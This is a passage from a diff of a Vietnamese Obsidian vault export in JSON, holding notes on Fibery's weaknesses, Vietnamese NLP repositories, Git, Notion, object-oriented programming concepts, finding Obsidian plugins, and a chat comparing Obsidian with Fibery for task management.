Những thứ Fibery muốn giải quyết\n1. Knowledge lives in many tools (Notion, Miro, Canny, Slack, Jira)\n2. Discussions out of context\n3. Customers feedback handling process is poor\n4. Features prioritization process is ad-hoc and mostly based on gut feelings\n5. Connection between features specification and features as work items is weak\n\n[Fibery End Game (product company example)](https://fibery.io/blog/fibery-end-game-product-company-example/)\n\n![](https://fibery.io/blog/knowledege-architecture-cheatsheet.png)\n\n\n[[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\nĐiểm yếu của Fibery:\n- Chạy chậm: điểm yếu muôn thuở của các ứng dụng chạy trên máy chủ\n- Tính phí \n- Những hàm cơ bản cũng không có\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rj" + "Ngày cập nhật": "2024-09-02T06:39:00.000Z", + "id": "Rx" }, { - "Tiêu đề": "Xử lý ngôn ngữ tự nhiên (NLP)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Xử lý ngôn ngữ tự nhiên (NLP)", + "Tiêu đề": "Git giúp ta du hành thời gian", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git giúp ta du hành thời gian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Python]]\n\nDanh sách các repo trên GitHub có tag `nlp` và `vietnamese`\n- [undertheseanlp/underthesea](https://github.com/undertheseanlp/underthesea.git)\n- [vncorenlp/VnCoreNLP](https://github.com/vncorenlp/VnCoreNLP.git)\n- [undertheseanlp/chatbot](https://github.com/undertheseanlp/chatbot.git)\n- [undertheseanlp/automatic_speech_recognition](https://github.com/undertheseanlp/automatic_speech_recognition.git)\n- [undertheseanlp/word_tokenize](https://github.com/undertheseanlp/word_tokenize.git)\n- [anhthuan1999/Vietnamese-News-Classification](https://github.com/anhthuan1999/Vietnamese-News-Classification.git)\n- [ngockhanh5110/nlp-vietnamese-text-summarization](https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization.git)\n- [henryle97/Spelling_Correction_Vietnamese](https://github.com/henryle97/Spelling_Correction_Vietnamese.git)\n- [pbcquoc/vietnamese_word_seperate](https://github.com/pbcquoc/vietnamese_word_seperate.git)\n- [undertheseanlp/sentiment](https://github.com/undertheseanlp/sentiment.git)\n- [undertheseanlp/pos_tag](https://github.com/undertheseanlp/pos_tag.git)\n- [undertheseanlp/speech_classification](https://github.com/undertheseanlp/speech_classification.git)\n- [undertheseanlp/chunking](https://github.com/undertheseanlp/chunking.git)\n- [undertheseanlp/sent_tokenize](https://github.com/undertheseanlp/sent_tokenize.git)\n- [congphase/img-captioning-in-vietnamese](https://github.com/congphase/img-captioning-in-vietnamese.git)\n- [matbahasa/ProSub](https://github.com/matbahasa/ProSub.git)\n- [letuananh/chirptext](https://github.com/letuananh/chirptext.git)\n- [bmd1905/vietnamese-correction](https://github.com/bmd1905/vietnamese-correction.git)\n- [duongntbk/restore_vietnamese_diacritics](https://github.com/duongntbk/restore_vietnamese_diacritics.git)\n- [longday1102/Demo-QA-Extraction-system](https://github.com/longday1102/Demo-QA-Extraction-system.git)\n- [nhtlongcs/shopee-reviews-sentiment-analysis](https://github.com/nhtlongcs/shopee-reviews-sentiment-analysis.git)\n- [baodv1001/TrendBot](https://github.com/baodv1001/TrendBot.git)\n- [nguyenhuuthuat09/VLSP2020_Relation_Extraction](https://github.com/nguyenhuuthuat09/VLSP2020_Relation_Extraction.git)\n- [hugo53/HUsyntactic](https://github.com/hugo53/HUsyntactic.git)\n- [VFND/VMDS-vietnamese-misspell-dataset-from-Social-media](https://github.com/VFND/VMDS-vietnamese-misspell-dataset-from-Social-media.git)\n- [anssssss/Vietnamese-Speech-Recognition](https://github.com/anssssss/Vietnamese-Speech-Recognition.git)\n- [vega-ai/vietr](https://github.com/vega-ai/vietr.git)\n- [undertheseanlp/lang_detect](https://github.com/undertheseanlp/lang_detect.git)\n- [undertheseanlp/word_embeddings](https://github.com/undertheseanlp/word_embeddings.git)\n- [congnghia0609/ntc-vntok](https://github.com/congnghia0609/ntc-vntok.git)\n\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T04:16:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rk" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "Ry" }, { - "Tiêu đề": "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", + "Tiêu đề": "Git mở ra nhiều khả thể trong việc hợp tác", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git mở ra nhiều khả thể trong việc hợp tác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n[[Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta]] [[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-29T15:01:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rl" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "Rz" }, { - "Tiêu đề": "Thống kê", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Thống kê", + "Tiêu đề": "Git, GitHub, GitKraken", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git, GitHub, GitKraken", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Python]]\nGiải pháp kỹ thuật:: [[Jupyter]]\nGiải pháp kỹ thuật:: [[R]]", + "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:24:00.000Z", - "id": "Rm" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "R-" }, { - "Tiêu đề": "Lĩnh vực", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lĩnh vực", + "Tiêu đề": "Google Drive", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Google Drive", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Lĩnh vực\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-29T16:53:00.000Z", - "Ngày cập nhật": "2024-09-01T10:16:00.000Z", - "id": "Rn" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "R_" }, { - "Tiêu đề": "4 đặc điểm của lập trình hướng vật thể", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/4 đặc điểm của lập trình hướng vật thể", + "Tiêu đề": "Nhược điểm của Obsidian và Fibery", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Nhược điểm của Obsidian và Fibery", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Tính trừu tượng (abstraction)\r\n- [[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó|Tính đóng gói (encapsulation)]] và che giấu dữ liệu (data hiding) \r\n- Tính đa hình (polymorphism) \r\n- Tính kế thừa (inheritance) \r\n\r\nNguồn:: Lập trình không khó, [Lập Trình Hướng Đối Tượng Là Gì?](https://blog.luyencode.net/lap-trinh-huong-doi-tuong-cpp/)\r\n\r\n![[logo3.svg]]\r\n[[Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể]]\r\n[Separation of concerns - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_concerns)\r\n", + "Toàn bộ nội dung": "1. raw data từ user research vs highlight from literature note là như nhau\n\n\nnó có sự giống nhau đến kì lạ giữa processs xử lý kiến thức và xử lý feedback của product development\n\nThì nó cũng là xử lý kiến thức thôi mà?\n\nnhưng nó lại relevant\n\n\nnghĩa là khác cách diễn đạt: bên pkm thì zettelkasten: fleeting note → literature note → evergreen . thì bên product nó tương tự: feedback (Raw data) → insights → features\n\nAnh vẫn thấy bản chất của tụi nó là một mà\n\nthì đó a, nó là 1, nhưng người ta lại diễn giải theo nhiều cách khác nhau\n\nVậy cách em ứng dụng nó như thế nào?\n\nbuild pkm như cách product delopment làm\n\ndaily note ⇄ fleeting note ⇄ raw data\n\nliterature note (highlights) ⇄ Insight ⇄ processed data\n\nevergreen note ⇄ new create ⇄ feature ⇄ using data\n\nÝ là cái hệ thống của em\n\nEm dùng Obsidian hay Fibery cho công đoạn nào?\n\nlà ở trên đó a\n\nProject với pkm có module giống nhau\n\nnó đều là processing data\n\nmeaning workspace cho work/project với workspace cho việc học pkm được merge\n\nThì là dùng Obsidian hay Fibery?\n\nthì cái nào cũng được á a\n\nnó ko bị giới hạn phần mềm\n\nvì process nó giống nhau nên dùng cái nào cũng đc\n\nnhưng quan trọng cả 2 phải cùng 1 software\n\nko được seperate\n\nanh nhìn này, bên nào cũng process được cả 3 step này\n\ndaily note ⇄ fleeting note ⇄ raw data literature note (highlights) ⇄ Insight ⇄ processed data evergreen note ⇄ new create ⇄ feature ⇄ using data\n\ncái chí mạng chính \"evergreen note ⇄ new create ⇄ feature ⇄ using data\" là visual cái query của obsidian ko visualize được đống output data này 1 cách dễ dàng, nên e mới chịu đấm ăn xôi bên fibery\n\nBên đó visualize dễ dàng được à?\n\nhierarrchy\n\ngant view\n\ntimeline view\n\nboard view\n\nvà đặc biệt của bên này là \"chồng\"\n\noverlapse nhiều database\n\nnó ko cần fai quá phức tạp để visual\n\nTức là đủ cho em rồi?\n\n\"e mới chịu đấm ăn xôi bên fibery\"\n\nTrong phần visualization\n\nmeaning e fai chấp nhận mất cái gì và nhận cái gì, nó ko fai là đủ\n\nThì là em cần cái visualization hơn là việc ghi chép?\n\ne cần using data\n\nnghĩa là e mắc 1 lỗi rất lớn là em chỉ input, import\n\ndù là airtable, sheet hay obsidian, nó chỉ mới dừng được ở bước Nhập liệu raw, processed data\n\nNhưng mà là fibery đủ cho việc visualize của em?\n\nnhưng nó ko đủ cho các tác vụ khác\n\nnên mới gọi là chịu đấm ăn xôi\n\nnó thậm chí ko có markdown basic\n\nAnh chỉ đang nói về cái visualize thôi\n\nah thì nó ổn trong visualize nhưng nó ko được tối ưu nhiều như obsidian\n\nví dụ ha\n\na có thể tạo gantt chart ez\n\nboard chart ez\n\nnhưng h build homepage index thì sao ?\n\nhay create new note dạng wiki (tạo note mà ko create note)\n\nhay thậm chí css của nó cũng fixed cứng đến mức nhìn heading là cảm thấy khó chịu\n\nnó ko fai là dạng opensource- hay cởi mở cho cộng đồng cùng phát triển\n\nmà là 1 dạng đóng, 1 team đóng thực thi, và a biết việc chờ đợi 1 team nhỏ thực thi thì cái nó update lại ko fai cái mình kì vọng\n\ntrong khi obsidian cũng team nhỏ, nhưng cộng đồng thuộc dạng khủng long\n\nnhiều khi mấy cái core mà tụi team nó nghĩ lại chẳng bằng tụi community tự build\n\nnên 1 bên cố đấm ăn xôi: được chỉ 1, mà mất rất rất ratats nhiều\n\nNhưng cái xôi đó quan trọng đến mức tất cả những thứ khác em vẫn chấp nhận hy sinh\n\na sẽ cảm thấy như thế nào nếu direction của core team obsidian + community obsidian ko giải quyết được task worfklow ?\n\nKhó hiểu\n\na có nhớ có giai đoạn e đã chạy khắp nơi chỉ hỏi về workflow cho task management bên obsidian\n\nthậm chí điên cuồng hỏi a để tìm cách nào đó thích ứng\n\ne rất thích canvas vs graph view, thứ mà fibery ko bao giờ muốn làm\n\nthậm chí plugin bên obsidian quá mạnh\n\na tưởng tượng 1 tuần bên fibery update như chờ đò vậy\n\ncòn obsidian thì nó đẻ còn nhanh hơn core plugin\n\nnhiều khi qua 1 tuần, cái update của fibery nó lại ko match vs nhu cầu của mình, còn bên obsidian có khi e nghe update của elenor thôi cũng còn mệt chứ đừng nói là tìm hiểu thêm\n\nEleanor giờ nghỉ đẻ rồi nên ko làm nữa\n\ný e là ko cần eleanor update, việc cái đống community plugin của obsidian nó đẻ theo cấp số nhân, nên cỡ nào nhu cầu của ai đó cũng sẽ match vs 1 plugin nào đó, trừ task plugin\n\nỪ\n\nchính vì vậy e rất rất muốn dùng obsidian nhưng fai dùng fibery\n\nnó rất rất là khó chịu\n\nnhưng ko có alternative nào đc, vì như e nói ở trên: đk tiên quyết là pkm + workspace task/project phải nằm chung 1 software để tận dụng được processing data bằng bi-directional link\n\nnếu nó nằm trên obsidian, thì có cả chục workflow lẫn plugin lẫn external plugin hỗ trợ để processsing data, quá tuyệt vời. markdown outliner, mọi thứ, css custome, theme annupucho gì đó màu cực đẹp, custom checkbox\n\nvậy mà kẹt cái cuối cùng, visualize lại stuck\n\nNhưng cái xôi đó quan trọng đến mức tất cả những thứ khác em vẫn chấp nhận hy sinh\n\n![](https://cdn.discordapp.com/avatars/436156162380005377/bebf29800036e95edb61cb534b7b8c4b.webp?size=240)\n\nThì là vậy đúng ko?\n\nko hẳn là quan trọng trên mức nhưng cái khác, nhưng e ko muốn dừng lại ở đó mãi\n\ncứ input rồi storage mãi\n\ncái e cần là nó phải được lay on, hiện ra\n\nthấy ra big picture\n\nmình đã processing data theo bottom up rồi, nhưng mình cần 1 eagle view, 1 top down đủ bự để nhìn thấu hết\n\nvà đây là điều mà obsidian ko làm đc nhanh và dễ dàng\n\nchính vì vậy e ko có solutions mà đủ, hay cần hay thích hợp, mà chỉ là solution chịu đấm ăn xôi thật sự, nghĩa là dùng trong sự thỏa mãn khó chịu\n\nthằng này lại có cái thằng kia thiếu, nhưng ko thằng nào muốn filled nốt cái thiếu của thằng kia\n\nmỗi thằng lại đi 1 con đường riêng biệt [[Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ|thằng obsidian focus canvas yaml → focus hoàn toàn vào việc input và process data đầu vào | inorge task mangement]]\n\n[[Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas|thằng fibery focus vào procesing data → nghĩa là distill raw data → processed data + visualize để make decision to implement (Feature) | và ko chịu focus vào việc input nhập liệu, markdown hay grapview, canvas ...]]\n\ne ở giữa e biết kêu gì h\n\nNguồn:: [[Kendy]]\n[[Obsidian không mạnh về quản lý tác vụ]]\n[[Fibery]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-27T06:15:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Ro" + "Ngày tạo": "2023-09-08T14:32:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S0" }, { - "Tiêu đề": "Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể", + "Tiêu đề": "Notion", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Notion", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/alan-kay.png)\n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/bjarne-stroustrup.png) \n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/venn-diagram.svg) \n\nNguồn:: [Two big schools of Object-Oriented Programming | stereobooster.github.io](http://stereobooster.github.io/two-big-schools-of-object-oriented-programming)", + "Toàn bộ nội dung": "[[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rp" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S1" }, { - "Tiêu đề": "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", + "Tiêu đề": "Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/q/99660/19487)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Quản lý công việc là quản lý thời gian]]\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T05:30:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rq" + "Ngày tạo": "2024-08-24T05:00:00.000Z", + "Ngày cập nhật": "2024-09-07T14:29:00.000Z", + "id": "S2" }, { - "Tiêu đề": "Các ngôn ngữ tiến hoá dần để trở thành Lips", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Các ngôn ngữ tiến hoá dần để trở thành Lips", + "Tiêu đề": "Các plugin trong Obsidian liên quan đến Notion", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Các plugin trong Obsidian liên quan đến Notion", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Revenge of the Nerds](http://www.paulgraham.com/icad.html?ref=blog.codinghorror.com)\n", + "Toàn bộ nội dung": "- [Obsidian to Notion](https://github.com/EasyChris/obsidian-to-notion \"EasyChris/obsidian-to-notion: Share obsidian markdown file to notion and generate notion share link\"): chuyển dữ liệu từ Obsidian sang Notion qua API\n- [Database folder plugin](https://github.com/RafaelGB/obsidian-db-folder \"RafaelGB/obsidian-db-folder: Obsidian Plugin to Allow Notion like database based on folders\") hoặc [Obsidian Database Plugin](https://github.com/tomaszkiewicz/obsidian-database-plugin \"tomaszkiewicz/obsidian-database-plugin: Enables creating databases based on files in Obsidian - like Dataview, but with editing!\"): tạo bảng giống Notion (Notion-like) từ các file trong một folder\n- [Notion 2 Obsidan](https://github.com/visualcurrent/Notion-2-Obsidan \"visualcurrent/Notion-2-Obsidan: Conversion routines to convert all Notion .md exports to full Obsidian compatibility\"): chuyển dữ liệu từ Notion sang Obsidian\n- [Notation theme](https://forum.obsidian.md/t/notation-theme-dark-and-light-more-customisable/568 \"Notation theme (dark and light - more customisable) - Share & showcase - Obsidian Forum\"): theme cho Obsidian mà lấy ý tưởng từ Notion\n\nBọn mình đang thử xây dựng một tổ chức không có sự phân cấp, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, và game phiêu lưu nhập vai, dựa trên nền tảng Obsidian. Ai hứng thú có thể đọc bài \"Một đám mây chim sáo\" nha.\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-31T10:48:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rr" + "Ngày tạo": "2024-08-20T09:23:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S3" }, { - "Tiêu đề": "Hoạt động trung tâm của lập trình hướng vật thể là phân loại", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Hoạt động trung tâm của lập trình hướng vật thể là phân loại", + "Tiêu đề": "Cách để tìm plugin đúng nhu cầu của mình", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Cách để tìm plugin đúng nhu cầu của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Phân loại]]\nClassifying is a central activity in object-oriented programming and distinguishes it from procedural programming. Traditional logic, initiated by Aristotle, assigns classification to our first activity in reasoning, whereby we come to know what a thing is. Such a grasp of the thing's whatness is the foundation for all further reasoning about it.\n\nNguồn:: [Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/a/99671/19487)\n[[Có 4 loại phân loại]]", + "Toàn bộ nội dung": "## Hỏi cộng đồng\n- Tiếng Anh: [#plugin-general](https://discord.com/channels/686053708261228577/707816848615407697)\n\n\nKhi tìm thì tìm theo chức năng. Trừ một số chức năng có thể miêu tả ngay trên tiêu đề, thì \nvới những bạn muốn biết Obsidian có thể giải quyết nhu cầu cá nhân của mình hay không, rất có thể các bạn đang tìm plugin mới cho mình. Để có thể tìm plugin một cách nhanh chóng các bạn có thể vào 2 trang liệt kê plugin sau:\n- Obsidian Hub: https://publish.obsidian.md/hub/02+-+Community+Expansions/02.01+Plugins+by+Category/🗂️+02.01+Plugins+by+Category#🗂️%2002.01%20Plugins%20by%20Category\n- https://obsidian-plugin-stats.vercel.app\n[Plugins for Editing Notes - Obsidian Hub - Obsidian Publish](https://publish.obsidian.md/hub/02+-+Community+Expansions/02.01+Plugins+by+Category/Plugins+for+Editing+Notes)\n\nBtw, beside googling, I think cloning the hub and search on it will not only be easier to navigate with your preferred settings, but also allow you to have query operations that the websites don't provide\nI think there should be guide about applying search strategy on finding the plugin you need \n\n\n```\npath:\"02 - Community Expansions/02.01 Plugins by Category\" OR path:\"02 - Community Expansions/02.05 All Community Expansions/Plugins\" -tag:#MOC \n```\n![](https://i.imgur.com/6mEXVrg.png)\n3 nút đỏ lớn nhất ở dưới lần lượt từ trái qua là: [`Desktop-only plugins`](https://publish.obsidian.md/hub/02+-+Community+Expansions/02.01+Plugins+by+Category/Desktop-only+plugins \"Desktop-only plugins - Obsidian Hub - Obsidian Publish\"), [`Uncategorized plugins`](https://publish.obsidian.md/hub/02+-+Community+Expansions/02.01+Plugins+by+Category/Uncategorized+plugins), [`Mobile-compatible plugins`](https://publish.obsidian.md/hub/02+-+Community+Expansions/02.01+Plugins+by+Category/Mobile-compatible+plugins \"Mobile-compatible plugins - Obsidian Hub - Obsidian Publish\"). Nếu xoá chúng đi thì sẽ được cái này:\n\n![](https://i.imgur.com/6bQG6Bc.png)\n\nXem thảo luận của cộng đồng Obsidian tại: [Some graphs of plugins and their categories in Obsidian Hub - Share & showcase - Obsidian Forum](https://forum.obsidian.md/t/some-graphs-of-plugins-and-their-categories-in-obsidian-hub/87863?u=ooker)\n\nHỏi xem với tính năng này thì cần dùng API gì, xong kiếm xem có plugin nào đã dùng API đó chưa\n\nVào discord của dataview để hỏi xem\n\n\n## Tìm hiểu xem cái chức năng mà bạn cần nằm trong lĩnh vực gì\n## Tìm hiểu xem để làm một chương trình như vậy thì cần \nCó thể \n[[Cách để tìm công cụ đúng nhu cầu của mình]]\n\n\n\n\nI've known of that concepts long ago when I participate in SO. Of the points it list I agree that I have:\n> - Prolonged extension of the original question with further questions, after the original question is answered.\n\nI agree that you may see these, but it's not my intention:\n> - No apparent increase in comprehension after questions are answered.\n> - Provides just a brief and vague overview about the problem, omitting precise information about goal and context. Assumes that answerers already know these aspects, possibly witholding this useful information even when directly requested.\n\nFor other points about not searching for other sources first, it's simply because these are only answerable when asked. When requested I've always provided more info. \nProviding the \nI also thought that ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T06:35:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rs" + "Ngày tạo": "2024-09-03T07:13:00.000Z", + "Ngày cập nhật": "2024-09-05T13:15:00.000Z", + "id": "S4" }, { - "Tiêu đề": "Biểu thức (expression) là những thứ trả lại một giá trị nào đó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Biểu thức (expression) là những thứ trả lại một giá trị nào đó", + "Tiêu đề": "Obsidian Hub được thiết kế để không phải dùng plugin gì cũng dùng được ngay", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Obsidian Hub được thiết kế để không phải dùng plugin gì cũng dùng được ngay", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Ternary operators in JavaScript without an \"else\"](https://stackoverflow.com/a/2933472/3416774)\n", + "Toàn bộ nội dung": "Khái niệm:: \n- \n- Dùng Publish khiến cho nó cũng chịu nhiều giới hạn\n- Không muốn dùng LLM để phân loại\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-05T17:30:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rt" + "Ngày tạo": "2024-09-03T16:02:00.000Z", + "Ngày cập nhật": "2024-09-03T16:35:00.000Z", + "id": "S5" }, { - "Tiêu đề": "Giao diện là cái khuôn của phương thức", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Giao diện là cái khuôn của phương thức", + "Tiêu đề": "Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giao diện (interface) là tập hợp tất cả các phương thức **chung** của **nhiều** lớp **liên quan với nhau**. Nó giống như [[Lớp là một cái khuôn để tạo các vật thể cho nhanh|lớp]] nhưng mà không phải cho vật thể mà là cho phương thức của vật thể\r\n\r\n[[API là giao diện của một chương trình]] \r\n", + "Toàn bộ nội dung": "![[💎 Giới thiệu về Obsidian]]\n[How many of you gave up on Task Management via Obsidian? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1dha073/how_many_of_you_gave_up_on_task_management_via/)\n[[Obsidian không mạnh về quản lý tác vụ]]\nNguồn:: [[Kendy]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T13:48:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Ru" + "Ngày tạo": "2023-10-08T13:20:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S6" }, { - "Tiêu đề": "Phương thức cho ta biết mình có thể làm gì với vật thể đó", - "URL": 